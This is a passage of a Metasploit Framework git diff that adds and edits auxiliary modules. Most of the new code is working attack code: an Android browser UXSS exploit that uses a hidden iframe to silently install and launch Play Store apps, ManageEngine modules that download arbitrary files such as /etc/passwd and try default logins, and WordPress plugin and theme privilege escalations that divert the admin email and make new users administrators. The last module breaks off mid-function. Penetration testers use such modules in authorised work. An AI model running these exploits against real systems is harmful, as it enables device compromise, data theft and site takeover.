can be + targeted for script injection. As a result, this leads to remote code execution + through Google Play's remote installation feature, as any application available + on the Google Play store can be installed and launched on the user's device. + + This module requires that the user is logged into Google with a vulnerable browser. + + To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`. + }, + 'Author' => [ + 'Rafay Baloch', # Original UXSS vulnerability + 'joev' # Play Store vector and Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => [[ 'WebServer' ]], + 'PassiveActions' => [ 'WebServer' ], + 'References' => [ + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041'], + [ 'URL', 'http://1337day.com/exploit/description/22581' ], + [ 'OSVDB', '110664' ], + [ 'CVE', '2014-6041' ] + ], + 'DefaultAction' => 'WebServer' + )) + + register_options([ + OptString.new('PACKAGE_NAME', [ + true, + 'The package name of the app on the Google Play store you want to install', + 'com.swlkr.rickrolld' + ]), + OptString.new('ACTIVITY_NAME', [ + true, + 'The name of the activity in the apk to launch', + 'com.swlkr.rickrolld/.RickRoll' + ]), + OptBool.new('DETECT_LOGIN', [ + true, "Prevents the exploit from running if the user is not logged into Google", true + ]), + OptBool.new('HIDE_IFRAME', [ + true, "Hide the exploit iframe from the user", true + ]) + ], self.class) + end + + def on_request_uri(cli, request) + print_status("Request '#{request.method} #{request.uri}'") + + if request.method.downcase == 'post' + print_error request.body[0..400] + send_response_html(cli, '') + else + print_status("Sending initial HTML ...") + send_response_html(cli, exploit_html) + end + end + + def exploit_html + <<-EOS + <html> + <body> + <script> + + var APP_ID = '#{datastore['PACKAGE_NAME']}'; + var MAIN_ACTIVITY = '#{datastore['ACTIVITY_NAME']}'; + var HIDDEN_STYLE = '#{hidden_css}'; + + function exploit() { + + var src = 'https://play.google.com/store/apps/'+(new Array(2000)).join('aaaaaaa'); + var frame = document.createElement('iframe'); + frame.setAttribute('src', src); + frame.setAttribute('name', 'f'); + frame.setAttribute('style', HIDDEN_STYLE); + function uxss(src) { + window.open('\\u0000javascript:eval(atob("'+ btoa(src) +'"))', 'f'); + } + + var loaded = false; + frame.onload = function() { + if (loaded) return; + loaded = true; + setTimeout(function(){ + uxss('history.replaceState({},{},"/"); x=new XMLHttpRequest;x.open("GET", "/store/apps/details?id='+APP_ID+'");x.onreadystatechange=function(){'+ + 'if(x.readyState==4){ document.open("text/html"); document.write(x.responseText); document.close(); top.postMessage("1", "*") }};x.send();'); + }, 100); + }; + + var i1, i2; + var w = window; + window.onmessage = function(event) { + if (event.data === '1') { + i1 = w.setInterval(function(){ + uxss('document.body.innerHTML.match(/This app is compatible/).length; document.querySelector("button.price").click(); top.postMessage("2", "*");'); + }, 500); + } else if (event.data === '2') { + w.clearInterval(i1); + i2 = setInterval(function(){2 + uxss('document.querySelector("button.play-button.apps.loonie-ok-button").click(); top.postMessage("3", "*");'); + }, 500); + } else if (event.data === '3') { + clearInterval(i2); + setTimeout(function(){ + setInterval(function(){ + frame.src = 'intent:launch#Intent;SEL;component='+MAIN_ACTIVITY+';end'; + }, 500); + }, 1000); + } + } + + document.body.appendChild(frame); + } + + #{detect_login_js} + + </script> + + </body> + </html> + EOS + end + + def detect_login_js + if datastore['DETECT_LOGIN'] + %Q| + var img = document.createElement('img'); + img.onload = exploit; + img.onerror = function() { + var url = '#{backend_url}'; + var x = new XMLHttpRequest(); + x.open('POST', url); + x.send('Exploit failed: user is not logged into google.com') + }; + img.setAttribute('style', HIDDEN_STYLE); + var rand = '&d=#{Rex::Text.rand_text_alphanumeric(rand(12)+5)}'; + img.setAttribute('src', 'https://accounts.google.com/CheckCookie?continue=https%3A%2F%2Fwww.google.com%2Fintl%2Fen%2Fimages%2Flogos%2Faccounts_logo.png'+rand); + document.body.appendChild(img); + | + else + 'exploit();' + end + end + + def hidden_css + if datastore['HIDE_IFRAME'] + 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px;visibility:hidden;' + else + '' + end + end + + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + end + + def run + exploit + end + +end diff --git a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb index b23b984517..5263d13b1f 100644 --- a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb +++ b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb @@ -49,7 +49,7 @@ class Metasploit4 < Msf::Auxiliary when 201 print_good("Playing https://www.youtube.com/watch?v=#{vid}") when 200 - print_status("Stopping video") + print_status('Stopping video') when 404 print_error("Couldn't #{action.name.downcase} video") end diff --git a/modules/auxiliary/admin/db2/db2rcmd.rb b/modules/auxiliary/admin/db2/db2rcmd.rb index 29794670ca..6f8d5738fb 100644 --- a/modules/auxiliary/admin/db2/db2rcmd.rb +++ b/modules/auxiliary/admin/db2/db2rcmd.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/auxiliary/admin/firetv/firetv_youtube.rb b/modules/auxiliary/admin/firetv/firetv_youtube.rb new file mode 100644 index 0000000000..ffeedd5885 --- /dev/null +++ b/modules/auxiliary/admin/firetv/firetv_youtube.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Amazon Fire TV YouTube Remote Control', + 'Description' => %q{ + This module acts as a simple remote control for the Amazon Fire TV's + YouTube app. + + Tested on the Amazon Fire TV Stick. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'http://www.amazon.com/dp/B00CX5P8FC?_encoding=UTF8&showFS=1'], + ['URL', 'http://www.amazon.com/dp/B00GDQ0RMG/ref=fs_ftvs'] + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + ['Play', 'Description' => 'Play video'], + ['Stop', 'Description' => 'Stop video'] + ], + 'DefaultAction' => 'Play' + )) + + register_options([ + Opt::RPORT(8008), + OptString.new('VID', [true, 'Video ID', 'HkhSZyYmpO4']) + ]) + end + + def run + case action.name + when 'Play' + stop + sleep(1) + res = play + when 'Stop' + res = stop + end + + return unless res + + case res.code + when 201 + print_good("Playing https://www.youtube.com/watch?v=#{datastore['VID']}") + when 200 + print_status('Stopping video') + when 404 + print_error("Couldn't #{action.name.downcase} video") + end + end + + def play + begin + send_request_cgi( + 'method' => 'POST', + 'uri' => '/apps/YouTube', + 'ctype' => 'text/plain', + 'vars_post' => { + 'v' => datastore['VID'] + } + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + end + end + + def stop + begin + send_request_raw( + 'method' => 'DELETE', + 'uri' => '/apps/YouTube/run' + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + end + end + +end diff --git a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb index 5a97960225..62b7439655 100644 --- a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb +++ b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb @@ -71,9 +71,9 @@ class Metasploit3 < Msf::Auxiliary print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD']) cmd = datastore['CMD'] - #original post request: - #data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping& - #action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip=" + # original post request: + # data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping& + # action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip=" vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}") begin diff --git a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb index c69dcdc75b..e3acc7bf4b 100644 --- a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb +++ b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb @@ -20,8 +20,8 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'Craig Heffner', #vulnerability discovery and original exploit - 'Michael Messner <devnull[at]s3cur1ty.de>' #metasploit module + 'Craig Heffner', # vulnerability discovery and original exploit + 'Michael Messner <devnull[at]s3cur1ty.de>' # metasploit module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb new file mode 100644 index 0000000000..03099e68f2 --- /dev/null +++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb @@ -0,0 +1,240 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine Multiple Products Arbitrary Directory Listing", + 'Description' => %q{ + This module exploits a directory listing information disclosure vulnerability in the + FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. It + makes a recursive listing, so it will list the whole drive if you ask it to list / in + Linux or C:\ in Windows. This vulnerability is unauthenticated on OpManager and + Applications Manager, but authenticated in IT360. This module will attempt to login + using the default credentials for the administrator and guest accounts; alternatively + you can provide a pre-authenticated cookie or a username / password combo. For IT360 + targets enter the RPORT of the OpManager instance (usually 8300). This module has been + tested on both Windows and Linux with several different versions. Windows paths have to + be escaped with 4 backslashes on the command line. There is a companion module that + allows for arbitrary file download. This vulnerability has been fixed in Applications + Manager v11.9 b11912 and OpManager 11.6. + }, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-7863'], + ['OSVDB', '117696'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/114'] + ], + 'DisclosureDate' => 'Jan 28 2015')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']), + OptString.new('DIRECTORY', [true, 'Path of the directory to list', '/etc/']), + OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), + OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']), + OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']), + OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)']) + ], self.class) + end + + + def get_cookie + cookie = nil + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI']) + }) + + if res + cookie = res.get_cookies + end + + cookie + end + + def detect_it360 + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/ + return true + end + + return false + end + + def get_it360_cookie_name + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/') + }) + + cookie = res.get_cookies + + if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ + return $1 + else + return nil + end + end + + def authenticate_it360(port, path, username, password) + if datastore['DOMAIN_NAME'].nil? + vars_post = { + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'false' + } + else + vars_post = { + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'true', + 'domainName' => datastore['DOMAIN_NAME'] + } + end + + res = send_request_cgi({ + 'rport' => port, + 'method' => 'POST', + 'uri' => normalize_uri(path), + 'vars_get' => { + 'service' => "OpManager", + 'furl' => "/", + 'timestamp' => Time.now.to_i + }, + 'vars_post' => vars_post + }) + + if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ + # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" + return res.get_cookies + end + + nil + end + + + def login_it360 + # Do we already have a valid cookie? If yes, just return that. + unless datastore['IAMAGENTTICKET'].nil? + cookie_name = get_it360_cookie_name + cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';' + return cookie + end + + # get the correct path, host and port + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/') + }) + + if res && res.redirect? + uri = [ res.redirection.port, res.redirection.path ] + else + return nil + end + + if datastore['USERNAME'] && datastore['PASSWORD'] + print_status("#{peer} - Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...") + cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) + unless cookie.nil? + return cookie + end + end + + default_users = ['guest', 'administrator', 'admin'] + + default_users.each do |user| + print_status("#{peer} - Trying to authenticate as #{user}...") + cookie = authenticate_it360(uri[0], uri[1], user, user) + unless cookie.nil? + return cookie + end + end + + nil + end + + def run + # No point to continue if directory is not specified + if datastore['DIRECTORY'].empty? + print_error('Please supply the path of the directory you want to list.') + return + end + + if detect_it360 + print_status("#{peer} - Detected IT360, attempting to login...") + cookie = login_it360 + else + cookie = get_cookie + end + + if cookie.nil? + print_error("#{peer} - Failed to get application cookies!") + return + end + + servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet' + res = send_request_cgi({ + 'method' => 'GET', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet), + }) + if res && res.code == 404 + servlet = 'FailOverHelperServlet' + end + + # Create request + begin + print_status("#{peer} - Listing directory #{datastore['DIRECTORY']}") + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet), + 'vars_get' => { + 'operation' => 'listdirectory', + 'rootDirectory' => datastore['DIRECTORY'] + } + }) + rescue Rex::ConnectionRefused + print_error("#{peer} - Could not connect.") + return + end + + # Show data if needed + if res && res.code == 200 && res.body + vprint_line(res.body.to_s) + fname = File.basename(datastore['DIRECTORY']) + + path = store_loot( + 'manageengine.http', + 'text/plain', + datastore['RHOST'], + res.body.to_s, + fname + ) + print_good("File with directory listing saved in: #{path}") + else + print_error("#{peer} - Failed to list directory.") + end + end +end diff --git a/modules/auxiliary/admin/http/manageengine_file_download.rb b/modules/auxiliary/admin/http/manageengine_file_download.rb new file mode 100644 index 0000000000..bc15d3d47d --- /dev/null +++ b/modules/auxiliary/admin/http/manageengine_file_download.rb @@ -0,0 +1,242 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine Multiple Products Arbitrary File Download", + 'Description' => %q{ + This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet + on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is + unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This + module will attempt to login using the default credentials for the administrator and + guest accounts; alternatively you can provide a pre-authenticated cookie or a username + and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually + 8300). This module has been tested on both Windows and Linux with several different + versions. Windows paths have to be escaped with 4 backslashes on the command line. There is + a companion module that allows the recursive listing of any directory. This + vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6. + }, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-7863'], + ['OSVDB', '117695'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/114'] + ], + 'DisclosureDate' => 'Jan 28 2015')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']), + OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']), + OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), + OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']), + OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']), + OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)']) + ], self.class) + end + + + def get_cookie + cookie = nil + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI']) + }) + + if res + cookie = res.get_cookies + end + + cookie + end + + def detect_it360 + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/ + return true + end + + return false + end + + def get_it360_cookie_name + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/') + }) + + cookie = res.get_cookies + + if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ + return $1 + else + return nil + end + end + + def authenticate_it360(port, path, username, password) + if datastore['DOMAIN_NAME'].nil? + vars_post = { + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'false' + } + else + vars_post = { + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'true', + 'domainName' => datastore['DOMAIN_NAME'] + } + end + + res = send_request_cgi({ + 'rport' => port, + 'method' => 'POST', + 'uri' => normalize_uri(path), + 'vars_get' => { + 'service' => 'OpManager', + 'furl' => '/', + 'timestamp' => Time.now.to_i + }, + 'vars_post' => vars_post + }) + + if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ + # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" + return res.get_cookies + end + + nil + end + + def login_it360 + # Do we already have a valid cookie? If yes, just return that. + unless datastore['IAMAGENTTICKET'].nil? + cookie_name = get_it360_cookie_name + cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';' + return cookie + end + + # get the correct path, host and port + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/') + }) + + if res && res.redirect? + uri = [ res.redirection.port, res.redirection.path ] + else + return nil + end + + if datastore['USERNAME'] && datastore['PASSWORD'] + print_status("#{peer} - Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...") + cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) + unless cookie.nil? + return cookie + end + end + + default_users = ['guest', 'administrator', 'admin'] + + default_users.each do |user| + print_status("#{peer} - Trying to authenticate as #{user}...") + cookie = authenticate_it360(uri[0], uri[1], user, user) + unless cookie.nil? + return cookie + end + end + + nil + end + + def run + # No point to continue if filepath is not specified + if datastore['FILEPATH'].empty? + print_error('Please supply the path of the file you want to download.') + return + end + + if detect_it360 + print_status("#{peer} - Detected IT360, attempting to login...") + cookie = login_it360 + if cookie.nil? + print_error("#{peer} - Failed to login to IT360!") + return + end + else + cookie = get_cookie + end + + servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet' + res = send_request_cgi({ + 'method' => 'GET', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet), + }) + if res && res.code == 404 + servlet = 'FailOverHelperServlet' + end + + # Create request + begin + print_status("#{peer} - Downloading file #{datastore['FILEPATH']}") + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => cookie, + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet), + 'vars_get' => { + 'operation' => 'copyfile', + 'fileName' => datastore['FILEPATH'] + } + }) + rescue Rex::ConnectionRefused + print_error("#{peer} - Could not connect.") + return + end + + # Show data if needed + if res && res.code == 200 + + if res.body.to_s.bytesize == 0 + print_error("#{peer} - 0 bytes returned, file does not exist or is empty.") + return + end + + vprint_line(res.body.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'manageengine.http', + 'application/octet-stream', + datastore['RHOST'], + res.body, + fname + ) + print_good("File saved in: #{path}") + else + print_error("#{peer} - Failed to download file.") + end + end +end diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index 90b921aae4..c55a974bc0 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -74,7 +74,7 @@ class Metasploit4 < Msf::Auxiliary xml = '<!DOCTYPE foo [' xml << '<!ELEMENT host ANY>' - xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">' + xml << %Q{<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">} xml << ']>' xml << '<SiteSaveRequest session-id="' diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 29402da55c..991b706893 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -130,7 +130,7 @@ class Metasploit3 < Msf::Auxiliary return false end when 302 - #Success! + # Success! return true else print_error("ERROR: received code #{res.code}") diff --git a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb index 789b63f197..e908b1bd14 100644 --- a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb +++ b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb @@ -100,20 +100,20 @@ class Metasploit4 < Msf::Auxiliary else print_status("Rotating through known encryption keys") encryption_keys = [ - #TYPO3 4.3.x - 4.4.x + # TYPO3 4.3.x - 4.4.x 'd696ab49a803d7816021cb1768a6917d', '47d1e990583c9c67424d369f3414728e6793d9dc2ae3429d488a7374bc85d2a0b19b62de67d46a6079a75f10934288d3', '7b13b2203029ed80337f27127a9f1d28c2597f4c08c9a07b782b674731ecf5328c4d900851957899acdc6d4f911bf8b7', - #TYPO3 4.4.7+ + # TYPO3 4.4.7+ 'fbbdebd9091d914b3cd523485afe7b03e6006ade4125e4cf4c46195b3cecbb9ae0fe0f7b5a9e72ea2ac5f17b66f5abc7', - #TYPO3 4.5.0 + # TYPO3 4.5.0 'def76f1d8139304b7edea83b5f40201088ba70b20feabd8b2a647c4e71774b7b0e4086e4039abaf5d4f6a521f922e8a2', 'bac0112e14971f00431639342415ff22c3c3bf270f94175b8741c0fa95df244afb61e483c2facf63cffc320ed61f2731', - #TYPO3 4.5.2 + # TYPO3 4.5.2 '14b1225e2c277d55f54d18665791f114f4244f381113094e2a19dfb680335d842e10460995eb653d105a562a5415d9c7', - #TYPO3 4.5.3 + # TYPO3 4.5.3 '5d4eede80d5cec8df159fd869ec6d4041cd2fc0136896458735f8081d4df5c22bbb0665ddac56056023e01fbd4ab5283', - #TYPO3 4.5.4 - 4.5.7 + # TYPO3 4.5.4 - 4.5.7 'b2aae63def4c512ce8f4386e57b8a48b40312de30775535cbff60a6eab356809a0b596edaad49c725d9963d93aa2ffae', ] end diff --git a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb index 00693ad9f7..75bf278687 100644 --- a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb +++ b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary def get_table_prefix res = send_request_cgi({ - 'uri' => normalize_uri(wordpress_url_backend, 'admin-post.php'), + 'uri' => wordpress_url_admin_post, 'method' => 'POST', 'vars_post' => { 'ccf_export' => "1" @@ -81,10 +81,9 @@ class Metasploit3 < Msf::Auxiliary post_data = data.to_s print_status("#{peer} - Inserting user #{username} with password #{password}") - uri = normalize_uri(wordpress_url_backend, 'admin-post.php') res = send_request_cgi( 'method' => 'POST', - 'uri' => uri, + 'uri' => wordpress_url_admin_post, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data ) diff --git a/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb b/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb new file mode 100644 index 0000000000..1ae5194f90 --- /dev/null +++ b/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb @@ -0,0 +1,108 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress WP EasyCart Plugin Privilege Escalation', + 'Description' => %q{ + The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20 allows authenticated + users of any user level to set any system option via a lack of validation in the + ec_ajax_update_option and ec_ajax_clear_all_taxrates functions located in + /inc/admin/admin_ajax_functions.php. The module first changes the admin e-mail address + to prevent any notifications being sent to the actual administrator during the attack, + re-enables user registration in case it has been disabled and sets the default role to + be administrator. This will allow for the user to create a new account with admin + privileges via the default registration page found at /wp-login.php?action=register. + }, + 'Author' => + [ + 'Rob Carr <rob[at]rastating.com>' # Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-2673'], + ['WPVDB', '7808'], + ['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure'] + ], + 'DisclosureDate' => 'Feb 25 2015' + )) + + register_options( + [ + OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), + OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) + ], self.class) + end + + def check + check_plugin_version_from_readme('wp-easycart', '3.0.21', '1.1.30') + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def set_wp_option(name, value, cookie) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'vars_get' => { 'action' => 'ec_ajax_update_option' }, + 'vars_post' => { 'option_name' => name, 'option_value' => value }, + 'cookie' => cookie + ) + + if res.nil? + vprint_error("#{peer} - No response from the target.") + elsif res.code != 200 + vprint_warning("#{peer} - Server responded with status code #{res.code}") + end + + res + end + + def run + print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...") + cookie = wordpress_login(username, password) + if cookie.nil? + print_error("#{peer} - Failed to authenticate with WordPress") + return + end + print_good("#{peer} - Authenticated with WordPress") + + new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com" + print_status("#{peer} - Changing admin e-mail address to #{new_email}...") + if set_wp_option('admin_email', new_email, cookie).nil? + print_error("#{peer} - Failed to change the admin e-mail address") + return + end + + print_status("#{peer} - Enabling user registrations...") + if set_wp_option('users_can_register', 1, cookie).nil? + print_error("#{peer} - Failed to enable user registrations") + return + end + + print_status("#{peer} - Setting the default user role...") + if set_wp_option('default_role', 'administrator', cookie).nil? + print_error("#{peer} - Failed to set the default user role") + return + end + + register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register') + print_good("#{peer} - Privilege escalation complete") + print_good("#{peer} - Create a new account at #{register_url} to gain admin access.") + end +end diff --git a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb new file mode 100644 index 0000000000..0b4c12614b --- /dev/null +++ b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb @@ -0,0 +1,125 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress WPLMS Theme Privilege Escalation', + 'Description' => %q{ + The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows an + authenticated user of any user level to set any system option due to a lack of + validation in the import_data function of /includes/func.php. + + The module first changes the admin e-mail address to prevent any + notifications being sent to the actual administrator during the attack, + re-enables user registration in case it has been disabled and sets the default + role to be administrator. This will allow for the user to create a new account + with admin privileges via the default registration page found at + /wp-login.php?action=register. + }, + 'Author' => + [ + 'Evex', # Vulnerability discovery + 'Rob Carr <rob[at]rastating.com>' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['WPVDB', '7785'] + ], + 'DisclosureDate' => 'Feb 09 2015' + )) + + register_options( + [ + OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), + OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) + ], self.class) + end + + def check + check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2') + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def php_serialize(value) + # Only strings and numbers are required by this module + case value + when String, Symbol + "s:#{value.bytesize}:\"#{value}\";" + when Fixnum + "i:#{value};" + end + end + + def serialize_and_encode(value) + serialized_value = php_serialize(value) + 